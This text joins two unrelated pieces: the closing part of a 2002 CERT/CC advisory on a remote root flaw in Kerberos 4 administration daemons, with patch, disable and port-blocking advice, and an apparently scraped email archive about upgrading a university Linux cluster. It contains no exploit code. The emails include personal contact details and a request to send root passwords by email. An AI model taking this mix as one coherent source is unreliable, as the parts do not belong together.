5 sites that enable support for the Kerberos 4 administration protocol are affected. Further information about this vulnerability may be found in VU#875073. MIT has released an advisory that contains information about this vulnerability: http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2002-002-kadm 4.txt The KTH eBones and Heimdal web sites also contain information about this vulnerability: KTH eBones http://www.pdc.kth.se/kth-krb/ KTH Heimdal http://www.pdc.kth.se/kth-krb/ In addition to resolving the vulnerability described in VU#875073, version 0.51 of KTH Heimdal contains other fixes related to the KDC. See the ChangeLog for more information: ftp://ftp.pdc.kth.se/pub/heimdal/src/heimdal-0.5-0.5.1.diff.gz This vulnerability has been assigned CAN-2002-1235 by the Common Vulnerabilities and Exposures (CVE) group. II. Impact An unauthenticated, remote attacker could execute arbitrary code with root privileges. If an attacker is able to gain control of a master KDC, the integrity of the entire Kerberos realm is compromised, including user and host identities and other systems that accept Kerberos authentication. III. Solution Apply a patch or upgrade Apply the appropriate patch or upgrade as specified by your vendor. See Appendix A below and the Systems Affected section of VU#875073 for specific information. Disable vulnerable service Disable support for the Kerberos 4 administration protocol if it is not needed. In MIT Kerberos 5, this can be achieved by disabling kadmind4. For information about disabling all Kerberos 4 support in MIT Kerberos 5 at compile time, see http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.6/doc/install.htm l#SEC24 In KTH Heimdal, it is necessary to recompile kadmind in order to disable support for the Kerberos 4 administration protocol. For information about disabling all Kerberos 4 support in KTH Heimdal at compile time, see http://www.pdc.kth.se/heimdal/heimdal.html#Building%20and%20Install ing This solution will prevent Kerberos 4 administrative clients from accessing the Kerberos database. It will also prevent users with Kerberos 4 clients from changing their passwords. In general, the CERT/CC recommends disabling any service that is not explicitly required. Block or restrict access Block access to the Kerberos administration service from untrusted networks such as the Internet. Furthermore, only allow access to the service from trusted administrative hosts. By default, the Kerberos 4 administration daemon listens on 751/tcp and 751/udp, and the Kerberos 5 administration daemon listens on 749/tcp and 749/udp. It may be necessary to block access to the Kerberos 5 administration service if the daemon also supports the Kerberos 4 administration protocol. This workaround will prevent administrative connections and password change requests from blocked networks. Note that this workaround will not prevent exploitation, but it will limit the possible sources of attacks. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Apple Computer, Inc. The Kerberos Administration Daemon was included in Mac OS X 10.0, but removed in Mac OS X 10.1 and later. We encourage sites that use vulnerable Kerberos distributions to verify the integrity of their systems and apply patches or upgrade as appropriate. Conectiva Our MIT Kerberos 5 packages in Conectiva Linux 8 do contain the vulnerable kadmind4 daemon, but it is not used by default nor is it installed as a service. Updated packages are being uploaded to our ftp server and should be available in a few hours at: ftp://atualizacoes.conectiva.com.br/8/ The krb5-server-1.2.3-3U8_3cl.i386.rpm package contains a patched kadmind4 daemon. An announcement will be sent to our security mailing list a few hours after the upload is complete. Debian Debian has released DSA-178: http://www.debian.org/security/2002/dsa-178 FreeBSD Both the FreeBSD base Kerberos 4 (kadmind) and Kerberos 5 (k5admind v4 compatibility) daemons were vulnerable and have been corrected as of 23 October 2002. In addition, the heimdal and krb5 ports contained the same vulnerability and have been corrected as of 24 October 2002. A Security Advisory is in progress. KTH Kerberos The eBones and Heimdal web sites have information about this vulnerability: KTH eBones http://www.pdc.kth.se/kth-krb/ KTH Heimdal http://www.pdc.kth.se/kth-krb/ Microsoft Corporation Microsoft's implementation of Kerberos is not affected by this vulnerability. MIT Kerberos MIT has released MIT krb5 Security Advisory 2002-002: http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2002-002-ka dm4.txt NetBSD NetBSD has released NetBSD-SA2002-026: ftp://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2002 -026.txt.asc OpenBSD OpenBSD has released Security Fix 016 for OpenBSD 3.1 and Security Fix 033 for OpenBSD 3.0. OpenBSD 3.1 http://www.openbsd.org/errata31.html#kadmin OpenBSD 3.0 http://www.openbsd.org/errata30.html#kadmin Openwall Openwall GNU/*/Linux is not vulnerable. We don't provide Kerberos. SuSE SuSE Linux 7.2 and later are shipped with Heimdal Kerberos included, but Kerberos 4 support is disabled in all releases. Therefore, SuSE Linux and SuSE Enterprise Linux are not affected by this bug. [See also: SuSE-SA:2002:034] Wind River Systems (BSDI) No version of BSD/OS is vulnerable to this problem. Appendix B. References * http://web.mit.edu/kerberos/www/ * http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2002-002-kad m4.txt * http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.6/doc/install.ht ml#SEC24 * http://www.pdc.kth.se/kth-krb/ * http://www.pdc.kth.se/heimdal/ * http://www.pdc.kth.se/heimdal/heimdal.html#Building%20and%20Instal ling _________________________________________________________________ Authors: Art Manion and Jason A. Rafail. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-29.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Install RedHat 7.2 (later versions not advised at this time) 4. Make sec. master available on public network for access by LinuxLabs. 5. I will install Nimbus enhancements on secondary master and do preliminary configuration. 6. back up all user data on master and compute nodes to fileserver. 7. Primary master shut down. re-designated as secondary master 8. Secondary master connected to cluster and re-designated as master. 9. Final configuration. Some local intervention will be needed to boot compute nodes. 10. new sec master set for PXE boot in BIOS and booted. 11. I will re-configure sec master. Primary's image will be copied to secondary. For step 3 (RedHat install), a special partitioning will be required. use fdisk to partition hda! Partition as follows (order IS important!) hda3 500M hda2 500M hda1 (as desired for scratch, not less than 1G) hda4 extended, rest of drive hda5 3G hda6 rest of drive Note that 5 and 6 are extended partitions inside hda4. The partitions should be created in the order listed here in order to make sure booting will work! Druid will tend to get it wrong. Then, edit the partitions to specify filesystem and mountpoint as follows: hda1 ext3fs /scratch hda2 swap hda3 ext3fs / hda5 ext3fs /var hda6 ext3fs /usr Package installation: Select Custom install. Keep all default selected packages except for dialup In addition, select: NFS server development tools kernel development firewall/router You may also select any other task/package sets desired. In firewall setup, allow at least ssh (others as you see fit) eth2 MUST be set as a trusted interface. Continue with installation as usual. Send me and Markus IP address and (temporary) root password when ready (step 4). G'day, sjames On Wed, 30 Oct 2002, gilfoyle wrote: > Hi Steven, > > What would be a good to arrange for an upgrade of the University > of Richmond cluster to the Nimbus system? > > cheers, > > jerry gilfoyle > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,gilfoyle ,"Thu, 31 Oct 2002 03:23:48 -0500",Re: upgrading the University of Richmond cluster,"Greetings, For minimum disruption, I propose that the upgrade proceed in several steps. 1. Secondary master shut down and disconnected from cluster (ethernet cable). 2. re-configure BIOS to boot from CDROM, then hard drive 3. Install RedHat 7.2 (later versions not advised at this time) 4. Make sec. master available on public network for access by LinuxLabs. 5. I will install Nimbus enhancements on secondary master and do preliminary configuration. 6. back up all user data on master and compute nodes to fileserver. 7. Primary master shut down. re-designated as secondary master 8. Secondary master connected to cluster and re-designated as master. 9. Final configuration. Some local intervention will be needed to boot compute nodes. 10. new sec master set for PXE boot in BIOS and booted. 11. I will re-configure sec master. Primary's image will be copied to secondary. For step 3 (RedHat install), a special partitioning will be required. use fdisk to partition hda! Partition as follows (order IS important!) hda3 500M hda2 500M hda1 (as desired for scratch, not less than 1G) hda4 extended, rest of drive hda5 3G hda6 rest of drive Note that 5 and 6 are extended partitions inside hda4. The partitions should be created in the order listed here in order to make sure booting will work! Druid will tend to get it wrong. Then, edit the partitions to specify filesystem and mountpoint as follows: hda1 ext3fs /scratch hda2 swap hda3 ext3fs / hda5 ext3fs /var hda6 ext3fs /usr Package installation: Select Custom install. Keep all default selected packages except for dialup In addition, select: NFS server development tools kernel development firewall/router You may also select any other task/package sets desired. In firewall setup, allow at least ssh (others as you see fit) eth2 MUST be set as a trusted interface. Continue with installation as usual. Send me and Markus IP address and (temporary) root password when ready (step 4). G'day, sjames On Wed, 30 Oct 2002, gilfoyle wrote: > Hi Steven, > > What would be a good to arrange for an upgrade of the University > of Richmond cluster to the Nimbus system? > > cheers, > > jerry gilfoyle > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- --------------94F3EF636B7660D109F0F02B-- ",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 01 Nov 2002 10:10:06 -0500",RE: [Fwd: upgrading the University of Richmond cluster],"The backup was not running last night. I'll start it today. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Friday, November 01, 2002 10:07 AM To: Sasko Stafanovski Subject: [Fwd: upgrading the University of Richmond cluster] hi sasko, it looks like the backup worked last night and we didn't throw any circuit breakers. if there are any problems let me know. i have attached an email message that i received this morning from steven james on the steps for upgrading the software. please look it over and let me know what you think. there are a few of things to consider. 1. does steven james's plan sound resonable? 2. can you get all this stuff done before the end of the day on monday? 3. if not, what can be finished? we'll see if an old, senile professor like myself can do the rest. let me know what you think. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 01 Nov 2002 10:20:33 -0500",RE: [Fwd: upgrading the University of Richmond cluster],"As I understand from his e-mail, our backup is scheduled to be step 6. Should I proceed with 1,2,3. Then he can install his Nimbus stuff, and we could proceed futher. But, finnishing everything by the end of Monday looks too optimistic to me. I have scheduled kernel upgrade for couple of machines in Data Center for today too. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Friday, November 01, 2002 10:07 AM To: Sasko Stafanovski Subject: [Fwd: upgrading the University of Richmond cluster] hi sasko, it looks like the backup worked last night and we didn't throw any circuit breakers. if there are any problems let me know. i have attached an email message that i received this morning from steven james on the steps for upgrading the software. please look it over and let me know what you think. there are a few of things to consider. 1. does steven james's plan sound resonable? 2. can you get all this stuff done before the end of the day on monday? 3. if not, what can be finished? we'll see if an old, senile professor like myself can do the rest. let me know what you think. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 01 Nov 2002 11:41:08 -0500",RE: contacting linux labs,"Jerry, How much of the /scratch you'll need? IS 1GB enough? Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Friday, November 01, 2002 10:39 AM To: Sasko Stafanovski Subject: contacting linux labs hi sasko, when you get done with steps 1-4 of the upgrade you can let steven james know and just send me a copy. his contact information is below. they don't give out his phone number?? Steven James pyro@linuxlabs.com gook luck, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 01 Nov 2002 12:03:04 -0500",RE: contacting linux labs,"I allocated 2G, couldn't wait. Sorry. If that's an issue, I can repartition. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Friday, November 01, 2002 11:53 AM To: Stefanovski, Sasko Subject: Re: contacting linux labs that should be plenty. jerry ""Stefanovski, Sasko"" wrote: > > Jerry, > > How much of the /scratch you'll need? > IS 1GB enough? > > Sasko > > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Friday, November 01, 2002 10:39 AM > To: Sasko Stafanovski > Subject: contacting linux labs > > hi sasko, > > when you get done with steps 1-4 of the upgrade you can let > steven james know and just send me a copy. his contact > information is below. they don't give out his phone number?? > > Steven James > pyro@linuxlabs.com > > gook luck, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Dr. Gerard P. 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G'day, sjames On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > Hi Steven, > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > The latest patches has been applied too. > > Sasko Stefanovski > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,"""Stefanovski, Sasko"" ","Fri, 01 Nov 2002 06:01:28 -0500",Re: RH7.2 installed,"Greetings, Step 5 is complete. Please accomplish step 6 (backup user data) and let me know when ready. As the cluster will be completely down for steps 7-9 We will want to coordinate availability carefully to minimise the inconvieniance. G'day, sjames On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > Hi Steven, > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > The latest patches has been applied too. > > Sasko Stefanovski > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 gilfoyle ,steven james ,"Sat, 02 Nov 2002 12:31:28 -0800",Re: RH7.2 installed,"hi steven, this is great news. I already have a backup of the user directories on pscm1 and sasko is planning on doing a full tape backup. how do we go about switching the secondary to the master and vice versa? jerry steven james wrote: > > Greetings, > > Step 5 is complete. > > Please accomplish step 6 (backup user data) and let me know when ready. > As the cluster will be completely down for steps 7-9 We will want to > coordinate availability carefully to minimise the inconvieniance. > > G'day, > sjames > > On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > > > Hi Steven, > > > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > > The latest patches has been applied too. > > > > Sasko Stefanovski > > > > -- > -------------------------steven james, director of research, linux labs > ... ........ ..... .... 230 peachtree st nw ste 701 > the original linux labs atlanta.ga.us 30303 > -since 1995 http://www.linuxlabs.com > office 404.577.7747 fax 404.577.7743 > ----------------------------------------------------------------------- -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,1 steven james ,"""Gilfoyle, Gerard"" ","Sat, 02 Nov 2002 04:23:36 -0500",Re: RH7.2 installed,"Greetings, The secondary is ready to be a master now. All it needs is for the cluster to be powered down and to have the master's connections to the cluster moved to it. I will need someone there to power on/reset nodes as needed to rebuild the cluster and finalize the configuration. once this is done. The null-modem cable will be a good thing to have handy as well. G'day, sjames On Sat, 2 Nov 2002, gilfoyle wrote: > hi steven, > > this is great news. I already have a backup of the user > directories on pscm1 and sasko is planning on doing a full > tape backup. how do we go about switching the secondary to > the master and vice versa? > > jerry > > steven james wrote: > > > > Greetings, > > > > Step 5 is complete. > > > > Please accomplish step 6 (backup user data) and let me know when ready. > > As the cluster will be completely down for steps 7-9 We will want to > > coordinate availability carefully to minimise the inconvieniance. > > > > G'day, > > sjames > > > > On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > > > > > Hi Steven, > > > > > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > > > The latest patches has been applied too. > > > > > > Sasko Stefanovski > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 gilfoyle ,steven james ,"Sat, 02 Nov 2002 19:52:09 -0800",Re: RH7.2 installed,"hi steven, thanks. i will be able to do that tomorrow evening (sunday) or monday morning. i'll email you as soon as i'm done. thanks-again, jerry steven james wrote: > > Greetings, > > The secondary is ready to be a master now. All it needs is for the cluster > to be powered down and to have the master's connections to the cluster > moved to it. > > I will need someone there to power on/reset nodes as needed to rebuild the > cluster and finalize the configuration. once this is done. The null-modem > cable will be a good thing to have handy as well. > > G'day, > sjames > > On Sat, 2 Nov 2002, gilfoyle wrote: > > > hi steven, > > > > this is great news. I already have a backup of the user > > directories on pscm1 and sasko is planning on doing a full > > tape backup. how do we go about switching the secondary to > > the master and vice versa? > > > > jerry > > > > steven james wrote: > > > > > > Greetings, > > > > > > Step 5 is complete. > > > > > > Please accomplish step 6 (backup user data) and let me know when ready. > > > As the cluster will be completely down for steps 7-9 We will want to > > > coordinate availability carefully to minimise the inconvieniance. > > > > > > G'day, > > > sjames > > > > > > On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > > > > > > > Hi Steven, > > > > > > > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > > > > The latest patches has been applied too. > > > > > > > > Sasko Stefanovski > > > > > > > > > > -- > > > -------------------------steven james, director of research, linux labs > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > the original linux labs atlanta.ga.us 30303 > > > -since 1995 http://www.linuxlabs.com > > > office 404.577.7747 fax 404.577.7743 > > > ----------------------------------------------------------------------- > > > > > > -- > -------------------------steven james, director of research, linux labs > ... ........ ..... .... 230 peachtree st nw ste 701 > the original linux labs atlanta.ga.us 30303 > -since 1995 http://www.linuxlabs.com > office 404.577.7747 fax 404.577.7743 > ----------------------------------------------------------------------- -- Dr. Gerard P. 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What time you will be in the lab? By the way the backup finished Friday, so I'll send James an e-mail to go ahead with next step. /usr/home is backed up on fileserver:/data2/pscm1_backup/home.tgz /usr is backed up on fileserver:/data2/pscm1_backup/usr.tgz We have those 2 on tape also. / and /var are only on tape. So we have complete backup. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@mindspring.com] Sent: Sunday, November 03, 2002 7:14 PM To: Stefanovski, Sasko Subject: work on the cluster hi sasko, i am going to switch the secondary master to the primary master as steven james instructed. i want to do this monday morning. if you can stop by, i would like your help and to ask some questions. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ",'steven james' ,"Mon, 04 Nov 2002 08:41:10 -0500",RE: RH7.2 installed,"We have the backup on disk on fileserver and on tape too. Sasko -----Original Message----- From: steven james [mailto:pyro@linuxlabs.com] Sent: Friday, November 01, 2002 6:01 AM To: Stefanovski, Sasko Cc: Gilfoyle, Gerard Subject: Re: RH7.2 installed Greetings, Step 5 is complete. Please accomplish step 6 (backup user data) and let me know when ready. As the cluster will be completely down for steps 7-9 We will want to coordinate availability carefully to minimise the inconvieniance. G'day, sjames On Fri, 1 Nov 2002, Stefanovski, Sasko wrote: > Hi Steven, > > RedHat 7.2 is installed on pscm2.richmond.edu (141.166.223.42). > The latest patches has been applied too. > > Sasko Stefanovski > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,"""Gerard P. Gilfoyle"" ","Sun, 03 Nov 2002 23:27:17 -0500",Re: Richmond cluster,"Greetings, I am ready to begin the process. Node 0 (The new secondary master) should be turned off for now. Initially, we need the null modem cable plugged in between the master and node 1. On node 1, it will be the serial port to the left as you face the back of the node. Once accomplished, please turn the node on. I am monitoring the serial console now. If all goes well. I will verify the configuration based on node 1. Once the configuration is working, we will rebuild the cluster nodelist. This is accomplished by bringing the nodes up in node number order and letting the master detect them. This procedure is only required for the first boot. In order to move that process along, I usually power them up in staggered pairs. As each node comes up, the serial cable is moved to the next node, and a new node is powered on (to begin it's lengthy memory count. G'day, sjames On Mon, 4 Nov 2002, Gerard P. Gilfoyle wrote: > hi steven, > > we have reconfigured the cluster in the following way. > > 1. old secondary is the new primary with the appropriate cabling. > we have changed the hostname and IP address of the new primary > to be the same values as the old primary. in other words > pscm1.richmond.edu is the new primary. > > 2. old primary is now cabled up as the new secondary. it has a > direct connection to the internet. we have switched the hostname > and IP address to the same values as the old secondary. in other > words, the new secondary is pscm2.richmond.edu. > > 3. the root passwords on pscm1 and pscm2 are the ones we agreed > on before. > > 4. the slaves are down. > > 5. your directions call for someone to be in the room to boot the > slaves. what is a good time to do that? i have a meeting > 11-12:30, but can be in there the rest of the day. sasko is > available from now (10:30 am) until 4 pm. > > let me know what you think. > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,"""Gerard P. Gilfoyle"" ","Mon, 04 Nov 2002 00:51:04 -0500",Re: Richmond cluster,"Greetings, There is a sequenced power up to do. Sasko and I are up to node 15 now. The procedure is going well. G'day, sjames On Mon, 4 Nov 2002, Gerard P. Gilfoyle wrote: > hi steven, > > i just got the message below. i will go do that right now. as i > understand it, once node 0 is set up, you just have to email me > and i'll bring up the other nodes. > > cheers, > > jerry > > steven james wrote: > > > > Greetings, > > > > I am ready to begin the process. Node 0 (The new secondary master) should > > be turned off for now. > > > > Initially, we need the null modem cable plugged in between the master and > > node 1. On node 1, it will be the serial port to the left as you face the > > back of the node. > > > > Once accomplished, please turn the node on. I am monitoring the serial > > console now. If all goes well. > > > > I will verify the configuration based on node 1. > > > > Once the configuration is working, we will rebuild the cluster nodelist. > > This is accomplished by bringing the nodes up in node number order and > > letting the master detect them. This procedure is only required for the > > first boot. > > > > In order to move that process along, I usually power them up in staggered > > pairs. As each node comes up, the serial cable is moved to the next node, > > and a new node is powered on (to begin it's lengthy memory count. > > > > G'day, > > sjames > > > > On Mon, 4 Nov 2002, Gerard P. Gilfoyle wrote: > > > > > hi steven, > > > > > > we have reconfigured the cluster in the following way. > > > > > > 1. old secondary is the new primary with the appropriate cabling. > > > we have changed the hostname and IP address of the new primary > > > to be the same values as the old primary. in other words > > > pscm1.richmond.edu is the new primary. > > > > > > 2. old primary is now cabled up as the new secondary. it has a > > > direct connection to the internet. we have switched the hostname > > > and IP address to the same values as the old secondary. in other > > > words, the new secondary is pscm2.richmond.edu. > > > > > > 3. the root passwords on pscm1 and pscm2 are the ones we agreed > > > on before. > > > > > > 4. the slaves are down. > > > > > > 5. your directions call for someone to be in the room to boot the > > > slaves. what is a good time to do that? i have a meeting > > > 11-12:30, but can be in there the rest of the day. sasko is > > > available from now (10:30 am) until 4 pm. > > > > > > let me know what you think. > > > > > > jerry > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,"""Gerard P. Gilfoyle"" ","Mon, 04 Nov 2002 03:49:57 -0500",Re: Richmond cluster,"Greetings, I see it. That's actually perfectly fine! It just needs to be re-partitiones and new filesystems made (hence the backup!). I am ready to take care of that if you're quite sure there's nothing I shouldn't wipe out. The idea is that I re-build the HD, then image it from the new primery so that it will be ready to take over if it's ever needed. Other than that, there's just the matter of node 0. Please power node 0 on. NOTE: it will come up as node 49. I will then be able to move it to node 0 to complete your upgrade. G'day, sjames On Mon, 4 Nov 2002, Gerard P. Gilfoyle wrote: > hi steven, > > i did the following on the new secondary (and things hung). > > 1. switch to COM A in the com port address of the console redirection > section. > > 2. set the following entries to the top of the boot list. > > MBA UNDI (bus 0 slot 15) > MBA UNDI (bus 0 slot 16) > > 3. reconfigured the cables on the new secondary so they are plugged > into the cluster switch and NOT to an outside internet line. > > upon rebooting i see the usual deluge of stuff go by. it appears > to be booting from MBA UNDI. unfortunately, it hangs in mid-boot. > the last line on the console is the following. > > ext 3: no journal on filesystem on ide0(3,1) > > any suggestions??? > > perplexed-in-richmond, > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Mon, 04 Nov 2002 16:39:05 -0500",mfv1,"Hi Jerry, I noticed that changed files on mfv1 on Nov 4, in the period from 2:30-3:30pm. If a new package was installed, it's ok, but if not that I need to investigate if someone broke in. Do you know if any change was done on mfv1? The changed files are: /etc/cups/classes.conf /etc/cups/cupsd.conf /etc/cups/printers.conf /etc/printcap /etc/modules.conf /etc/sysconfig/hwdata /etc/sysconfig/soundcard Seems like soundcard or printer was added or modified. Sasko ",0,0 steven james ,"""Gerard P. Gilfoyle"" ","Mon, 04 Nov 2002 05:18:11 -0500",Re: Richmond cluster,"Greetings, As you can see, the cluster is now 100% up! The secondary master holds an image of the primary master now. The 2.4 kernel should have your process table limits problem solved. I will ask Markus to send you a link to the documentation for the Nimbus system. You can pull up a graphical display of cluster status from X. In the menu, select ClusterTools->wakinyanmon We now return you to your regularly scheduled computing..... G'day, sjames On Mon, 4 Nov 2002, Gerard P. Gilfoyle wrote: > hi steven, > > i did the following on the new secondary (and things hung). > > 1. switch to COM A in the com port address of the console redirection > section. > > 2. set the following entries to the top of the boot list. > > MBA UNDI (bus 0 slot 15) > MBA UNDI (bus 0 slot 16) > > 3. reconfigured the cables on the new secondary so they are plugged > into the cluster switch and NOT to an outside internet line. > > upon rebooting i see the usual deluge of stuff go by. it appears > to be booting from MBA UNDI. unfortunately, it hangs in mid-boot. > the last line on the console is the following. > > ext 3: no journal on filesystem on ide0(3,1) > > any suggestions??? > > perplexed-in-richmond, > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,ggilfoyl@richmond.edu,"Mon, 04 Nov 2002 05:44:11 -0500",Security modification,"Greetings, Just wanted to let you know, In hosts.allow on the master, I added ALL: 192.168.1. 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Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 gilfoyle ,"""Stefanovski, Sasko"" ","Mon, 04 Nov 2002 23:31:14 -0800",Re: mfv1,"hi sasko, i didn't install anything like this on mfv1. i was fiddling with the bios setup on mfv1 just as a trial run before i started to modify the bios for pscm1 this afternoon. i didn't change any of the mfv1 settings. jerry ""Stefanovski, Sasko"" wrote: > > Hi Jerry, > > I noticed that changed files on mfv1 on Nov 4, in the period from > 2:30-3:30pm. > If a new package was installed, it's ok, but if not that I need to > investigate if someone broke in. > > Do you know if any change was done on mfv1? > The changed files are: > /etc/cups/classes.conf > /etc/cups/cupsd.conf > /etc/cups/printers.conf > /etc/printcap > /etc/modules.conf > /etc/sysconfig/hwdata > /etc/sysconfig/soundcard > > Seems like soundcard or printer was added or modified. > > Sasko -- Dr. Gerard P. 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That change should not affect users. About user directories, you can't make link unless you actualy move user's data to the new location in /usr/home, and then delete /home directory (the link could not be created over an existing directory). What can also be done is to edit /etc/passwd file (with vipw command) and change the default home directory for users from /home to /usr/home (after moving their data from /home/ to /usr/home/). Then you will not need to create link, since the user's home directory would be changed. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@mindspring.com] Sent: Tuesday, November 05, 2002 2:30 AM To: Mike Vineyard; luminita@jlab.org; Stefanovski, Sasko Subject: Richmond cluster is upgraded hi folks, status of the cluster: 1. we successfully completed the upgrade of the cluster to RH 7.2 and Nimbus this afternoon. thanks go to steven james at linux labs and sasko. 2. all of the previous user files were successfully restored in /usr/old-home. you can copy over the files to your new area. 3. right now users log into the /home/your_name directory. however, the partition that holds the /home area is too small (only about 500 MB) so i will make a symbolic link from /home to /usr/home and keep the user directories there. if anyone has other ideas, let me know. i'll do this tuesday morning. 4. i've added the following user accounts: vineyard, luminita, gilfoyle, and arayner. i've given everyone a temporary password. just call me at 804-289-8284 or 804-289-8784 to get the password or leave a message telling where and when i can call you. 5. i've modified the TCL wrappers configuration files. actually, i just copied over the files from psc1 and changed them. you will have to modify your .ssh/known_hosts file. you need to eliminate any references to pscm1. 6. just for your information, you still log into pscm1, but this machine is actually the old secondary. the machines were switched to make the upgrade go more smoothly. 7. we still have to install software. i was planning on getting root, PAW, and cernlib in place on tuesday. 8. luminita, do we have to rebuild the clas software? if so, can you do it and tell us where everything is located. 9. what over software do we need on the cluster? 10. i hope to unleash the cluster late tuesday after i get root installed to see if we can really run this baby to the max. later, jerry -- Dr. Gerard P. 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I don't have any clear solution for the problem you described - I don't have enough Root experience to figure it... Maybe there is a 'root.config' type of info file and it looks for it in the old place? I hope you can come to the seminar talk I'll give this afternoon (4pm) at UR. You'd enjoy my plea for JLAB! Luminita Todor postdoctoral research associate Carnegie Mellon University, 